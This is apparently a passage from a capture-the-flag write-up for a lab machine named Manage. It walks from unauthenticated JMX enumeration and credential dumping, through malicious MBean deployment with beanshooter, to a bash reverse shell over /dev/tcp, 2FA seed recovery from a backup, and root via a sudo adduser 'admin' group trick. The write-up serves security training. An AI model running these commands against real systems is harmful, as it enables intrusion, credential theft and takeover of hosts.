[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/examples,name=FormAuthenticator)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=default,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Manager,host=localhost,context=/)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/manager,name=BasicAuthenticator)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest15)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/examples,name=StandardContextValve)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest6)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest30)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/,name=jsp,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ParallelWebappClassLoader,host=localhost,context=/manager)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/manager,name=Cache)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/docs,name=Tomcat WebSocket (JSR356) Filter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=JspMonitor,WebModule=//localhost/,name=jsp,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest39)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ParallelWebappClassLoader,host=localhost,context=/host-manager)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=StandardHostValve)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/host-manager,name=RemoteAddrValve)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/host-manager,name=HTTP header security filter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest8)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Manager,host=localhost,context=/docs)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/,name=Cache)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest5)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest16)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=SocketProperties,name="http-nio-8080")
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=bytecounter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/docs,name=Cache)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/docs)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest17)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=HelloWorldExample,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest18)
[+]       - org.apache.catalina.mbeans.ContextMBean (Catalina:j2eeType=WebModule,name=//localhost/host-manager,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Server)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=jsp,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/,name=StandardContextValve)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest7)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/,name=NonLoginAuthenticator)
[+]       - org.apache.catalina.mbeans.ContextEnvironmentMBean (Catalina:type=Environment,resourcetype=Context,host=localhost,context=/examples,name=foo/name4)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest23)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=responsetrailer,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ParallelWebappClassLoader,host=localhost,context=/)
[+]       - org.apache.catalina.mbeans.ContextEnvironmentMBean (Catalina:type=Environment,resourcetype=Context,host=localhost,context=/examples,name=foo/bar/name2)
[+]       - com.sun.management.internal.DiagnosticCommandImpl (com.sun.management:type=DiagnosticCommand) (action: diagnostic)
[+]
[+] Enumerating tomcat users:
[+]
[+]     - Listing 2 tomcat users:
[+]
[+]             ----------------------------------------
[+]             Username:  manager
[+]             Password:  fhErvo2r9wuTEYiYgt
[+]             Roles:
[+]                        Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]
[+]             ----------------------------------------
[+]             Username:  admin
[+]             Password:  onyRPCkaG4iX72BrRtKgbszd
[+]             Roles:
[+]                        Users:type=Role,rolename="role1",database=UserDatabase

There’s a ton there, which can be summarized as:

  • It finds a jmxrmi bond to port 41557.
  • Accessing the MBean server there does not require auth. MBeans are like admin panels for the Java application.
  • It enumerates 198 MBeans.
  • It finds two tomcat users and gets their passwords and roles.

Shell as tomcat

Interactive RCE

Having the tomcat passwords is nice (and I’ll come back to them later), but not actually necessary to get execution on Manage from here. beanshooter has a command standard that will deploy the StandardMBean, which will then upload the TonkaBean. With access to Tonka, I can run commands and get a shell on the system.

I’ll start with standard:

oxdf@hacky$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.129.234.57 2222 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+]     Deploying MBean: StandardMBean
[+]     MBean with object name de.qtc.beanshooter:standard=190849689523829 was successfully deployed.
[+]
[+]     Caught NullPointerException while invoking the newTransformer action.
[+]     This is expected behavior and the attack most likely worked :)
[+]
[+]     Removing MBean with ObjectName de.qtc.beanshooter:standard=190849689523829 from the MBeanServer.
[+]     MBean was successfully removed.

Now I’ll use the tonka shell command to get an interactive shell:

oxdf@hacky$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.129.234.57 2222
[tomcat@10.129.234.57 /]$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

It’s not a full shell, but access to the Java Runtime.exec method. But that’s good enough.

user.txt is in the tomcat user’s home directory, /opt/tomcat:

[tomcat@10.129.234.57 /opt/tomcat]$ cat user.txt
a86d44c7************************

Reverse Shell

I’ll give the command for a bash reverse shell to the beanshooter shell:

[tomcat@10.129.234.57 /opt/tomcat]$ bash -c 'bash -i >& /dev/tcp/10.10.14.79/443 0>&1'

It hangs, but at my listening nc there’s a shell:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.57 57862
bash: cannot set terminal process group (1019): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@manage:~$

I’ll upgrade the shell using the standard trick:

tomcat@manage:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
tomcat@manage:~$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo ; fg
nc -lnvp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
tomcat@manage:~$

Shell as useradmin

Enumeration

Home Directories

There are two users with home directories in /home:

tomcat@manage:/home$ ls
karl  useradmin

Those same users (plus root) have shells configured in passwd:

tomcat@manage:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
karl:x:1000:1000:karl green:/home/karl:/bin/bash
useradmin:x:1002:1002:,,,:/home/useradmin:/bin/bash

Surprisingly, tomcat can access both. There’s nothing interesting in karl. useradmin has a couple interesting things:

tomcat@manage:/home/useradmin$ ls -la
total 36
drwxr-xr-x 5 useradmin useradmin 4096 Jun 26 09:58 .
drwxr-xr-x 4 root      root      4096 Jun 21  2024 ..
drwxrwxr-x 2 useradmin useradmin 4096 Jun 21  2024 backups
lrwxrwxrwx 1 useradmin useradmin    9 Jun 21  2024 .bash_history -> /dev/null
-rw-r--r-- 1 useradmin useradmin  220 Jun 21  2024 .bash_logout
-rw-r--r-- 1 useradmin useradmin 3771 Jun 21  2024 .bashrc
drwx------ 2 useradmin useradmin 4096 Jun 21  2024 .cache
-r-------- 1 useradmin useradmin  200 Jun 21  2024 .google_authenticator
-rw-r--r-- 1 useradmin useradmin  807 Jun 21  2024 .profile
drwxrwxr-x 2 useradmin useradmin 4096 Jun 21  2024 .ssh

.google_authenticator suggests there’s two factor on this account for at least some logins. It’s only readable by the useradmin user. There is a world-readable backup.tar.gz in backups:

tomcat@manage:/home/useradmin$ ls -l backups/
total 4
-rw-rw-r-- 1 useradmin useradmin 3088 Jun 21  2024 backup.tar.gz

Backup

I’ll copy the backup.tar.gz file to a temp directory to extract it:

tomcat@manage:/home/useradmin$ mktemp -d
/tmp/tmp.mwupAE8pT3
tomcat@manage:/home/useradmin$ cp backups/backup.tar.gz /tmp/tmp.mwupAE8pT3
tomcat@manage:/home/useradmin$ cd /tmp/tmp.mwupAE8pT3
tomcat@manage:/tmp/tmp.mwupAE8pT3$ tar xf backup.tar.gz

Running ls makes it look like it didn’t work:

tomcat@manage:/tmp/tmp.mwupAE8pT3$ ls
backup.tar.gz

But all the files in the archive are hidden (start with .):

tomcat@manage:/tmp/tmp.mwupAE8pT3$ tar tf backup.tar.gz 
./
./.bash_logout
./.profile
./.ssh/
./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/
./.cache/motd.legal-displayed
./.bash_history

And they are there:

tomcat@manage:/tmp/tmp.mwupAE8pT3$ ls -la
total 36
drwxr-x---  4 tomcat tomcat 4096 Jun 21  2024 .
drwxrwxrwt 16 root   root   4096 Jul 24 21:02 ..
-rw-r-----  1 tomcat tomcat 3088 Jul 24 21:02 backup.tar.gz
lrwxrwxrwx  1 tomcat tomcat    9 Jun 21  2024 .bash_history -> /dev/null
-rw-r-----  1 tomcat tomcat  220 Jun 21  2024 .bash_logout
-rw-r-----  1 tomcat tomcat 3771 Jun 21  2024 .bashrc
drwx------  2 tomcat tomcat 4096 Jun 21  2024 .cache
-r--------  1 tomcat tomcat  200 Jun 21  2024 .google_authenticator
-rw-r-----  1 tomcat tomcat  807 Jun 21  2024 .profile
drwxr-x---  2 tomcat tomcat 4096 Jun 21  2024 .ssh

.google_authenticator gives the seed and backup codes for the 2FA:

tomcat@manage:/tmp/tmp.mwupAE8pT3$ cat .google_authenticator 
CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP_AUTH
99852083
20312647
73235136
92971994
86175591
98991823
54032641
69267218
76839253
56800775

Password Reuse

If I try the first password, “fhErvo2r9wuTEYiYgt” (for manager) with the useradmin account, it fails:

tomcat@manage:/tmp/tmp.mwupAE8pT3$ su - useradmin 
Password: 
su: Authentication failure

The second one, “onyRPCkaG4iX72BrRtKgbszd”, asks for the “Verification code”:

tomcat@manage:/tmp/tmp.mwupAE8pT3$ su - useradmin 
Password: 
Verification code:

Entering one of the backup codes will work:

tomcat@manage:/tmp/tmp.mwupAE8pT3$ su - useradmin 
Password: 
Verification code: 
useradmin@manage:~$

I can also use the seed with oathtool:

oxdf@hacky$ oathtool -b --totp 'CLSSSMHYGLENX5HAIFBQ6L35UM'
548476

It’s important that the time on my computer match the time on Manage if I want to go this route.

Shell as root

Enumeration

useradmin can run adduser as any user with sudo:

tomcat@manage:/tmp/tmp.mwupAE8pT3$ su - useradmin 
Password: 
Verification code: 
useradmin@manage:~$ sudo -l
Matching Defaults entries for useradmin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

The regex is very clear here. I get one argument, and it has to be all letters and numbers.

Ubuntu Background

Default sudoers File

The sudo package for Ubuntu is located on Launchpad. I’ll clone a copy to my host:

oxdf@hacky$ git clone -b ubuntu/jammy-updates https://git.launchpad.net/ubuntu/+source/sudo
Cloning into 'sudo'...                                             
remote: Enumerating objects: 23151, done.
remote: Counting objects: 100% (23151/23151), done.
remote: Compressing objects: 100% (7794/7794), done.      
remote: Total 23151 (delta 17210), reused 20034 (delta 14799)
Receiving objects: 100% (23151/23151), 24.70 MiB | 1.88 MiB/s, done.
Resolving deltas: 100% (17210/17210), done. 

The default config file is at debian/etc/sudoers:

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
Defaults        use_pty

# This preserves proxy settings from user environments of root
# equivalent users (group sudo)
#Defaults:%sudo env_keep += "http_proxy https_proxy ftp_proxy all_proxy no_proxy"

# This allows running arbitrary commands, but so does ALL, and it means
# different sudoers have their choice of editor respected.
#Defaults:%sudo env_keep += "EDITOR"

# Completely harmless preservation of a user preference.
#Defaults:%sudo env_keep += "GREP_COLOR"

# While you shouldn't normally run git as root, you need to with etckeeper
#Defaults:%sudo env_keep += "GIT_AUTHOR_* GIT_COMMITTER_*"

# Per-user preferences; root won't have sensible values for them.
#Defaults:%sudo env_keep += "EMAIL DEBEMAIL DEBFULLNAME"

# "sudo scp" or "sudo rsync" should be able to use your SSH agent.
#Defaults:%sudo env_keep += "SSH_AGENT_PID SSH_AUTH_SOCK"

# Ditto for GPG agent
#Defaults:%sudo env_keep += "GPG_AGENT_INFO"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d

There’s a ton of comments there. By default, the root user and members of the admin and sudo groups can run all commands as any user.

Default Groups

Groups on Debian-based OSes like Ubuntu are defined in /etc/group. This file is installed as part of the base-passwd package. Just like above, I can git clone https://git.launchpad.net/ubuntu/+source/base-passwd and find the default groups file, this time in the base of the repo as group.master:

root:*:0:
daemon:*:1:
bin:*:2:
sys:*:3:
adm:*:4:
tty:*:5:
disk:*:6:
lp:*:7:
mail:*:8:
news:*:9:
uucp:*:10:
man:*:12:
proxy:*:13:
kmem:*:15:
dialout:*:20:
fax:*:21:
voice:*:22:
cdrom:*:24:
floppy:*:25:
tape:*:26:
sudo:*:27:
audio:*:29:
dip:*:30:
www-data:*:33:
backup:*:34:
operator:*:37:
list:*:38:
irc:*:39:
src:*:40:
shadow:*:42:
utmp:*:43:
video:*:44:
sasl:*:45:
plugdev:*:46:
staff:*:50:
games:*:60:
users:*:100:
nogroup:*:65534:

Something interesting to note - there is no admin group!

adduser

The help menu for adduser shows the options:

oxdf@hacky$ adduser -h
adduser [--uid id] [--firstuid id] [--lastuid id]
        [--gid id] [--firstgid id] [--lastgid id] [--ingroup group]
        [--add-extra-groups] [--encrypt-home] [--shell shell]
        [--comment comment] [--home dir] [--no-create-home]
        [--allow-all-names] [--allow-bad-names]
        [--disabled-password] [--disabled-login]
        [--conf file] [--extrausers] [--quiet] [--verbose] [--debug]
        user
    Add a normal user

adduser --system
        [--uid id] [--group] [--ingroup group] [--gid id]
        [--shell shell] [--comment comment] [--home dir] [--no-create-home]
        [--conf file] [--extrausers] [--quiet] [--verbose] [--debug]
        user
   Add a system user

adduser --group
        [--gid ID] [--firstgid id] [--lastgid id]
        [--conf file] [--extrausers] [--quiet] [--verbose] [--debug]
        group
addgroup
        [--gid ID] [--firstgid id] [--lastgid id]
        [--conf file] [--extrausers] [--quiet] [--verbose] [--debug]
        group
   Add a user group

addgroup --system
        [--gid id]
        [--conf file] [--extrausers] [--quiet] [--verbose] [--debug]
        group
   Add a system group

adduser [--extrausers] USER GROUP
   Add an existing user to an existing group

Based on the regex in the sudo configuration, the only thing available to me is to add a normal user and specify the username.

The man page for adduser has a section on “Add a normal user”, which includes this paragraph:

By default, each user is given a corresponding group with the same name. This is commonly called Usergroups and allows group writable directories to be easily maintained by placing the appropriate users in the new group, setting the set-group-ID bit in the directory, and ensuring that all users use a umask of 002.

Shell as admin

Strategy

I’m able to create a user with any name I want. When I do, a group with the same name will be created and the new user will be in that group.

There is no admin group on Ubuntu by default, and I can confirm that’s the case on Manage:

useradmin@manage:~$ cat /etc/group | grep admin
useradmin:x:1002:

By default, the admin group has extensive sudo privs on Ubuntu. I can’t see /etc/sudoers on Manage to verify that’s the case here.

I’ll create a user named admin, that will be put in a newly created group named admin. If the default sudoers file is in place, that user will be able to run commands as any user.

Create User

I’ll use adduser to create an admin user:

useradmin@manage:~$ sudo adduser admin         
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password: 
Retype new password: 
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
        Full Name []: 
        Room Number []: 
        Work Phone []: 
        Home Phone []: 
        Other []: 
Is the information correct? [Y/n] Y

I’ll create a password, and leave the rest of the info blank. The output shows the new UID and GID of 1003.

To get a shell as admin, I’ll run su - admin and enter the password I just created.

useradmin@manage:~$ su - admin
Password: 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@manage:~$ 

sudo

Even on starting a session as admin there’s a nice hint showing that I have sudo privileges. I can verify that:

admin@manage:~$ sudo -l
[sudo] password for admin: 
Matching Defaults entries for admin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User admin may run the following commands on manage:
    (ALL) ALL

sudo -i will get a shell (sudo bash would work just as well):

admin@manage:~$ sudo -i
root@manage:~#

And I can grab root.txt:

root@manage:~# cat root.txt
b3645b7e************************